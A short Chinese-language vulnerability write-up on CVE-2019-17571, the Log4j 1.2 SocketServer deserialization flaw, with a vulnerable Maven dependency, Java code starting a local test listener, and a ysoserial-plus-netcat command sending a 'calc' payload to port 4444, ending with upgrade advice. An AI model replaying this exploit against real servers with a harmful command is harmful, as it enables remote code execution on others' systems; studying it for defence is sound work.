仅用于研究漏洞原理,禁止用于非法用途,后果自负!!!java
Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开源日志记录工具。Log4j 1.2版本中包含一个SocketServer类,在未经验证的状况下,该SocketServe类很容易接受序列化的日志事件并对其进行反序列化,在结合反序列化工具使用时,能够利用该类远程执行任意代码。apache
方便测试,添加JDK7U21的漏洞环境bash
<dependencies> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> </dependencies>
public class CVE_2019_17571 { private static final Logger log = Logger.getLogger(SimpleSocketServer.class); public static void main(String[] args) { System.out.println("start:"); String[] argss = {"4444", "src/log4j.properties"}; SimpleSocketServer.main(argss); log.info("succ"); } }
java -jar ysoserial.jar JDK7U21 "calc" > poc.ser cat poc.ser | nc 127.0.0.1 4444
org.apache.log4j.net.SocketNode#run()
在run()方法中直接进行反序列化
服务器
目前官方已在Apache Log4j 2.8.2版本以后修复了该漏洞,请受影响的用户升级至2.8.2 或更高的版本进行防御.socket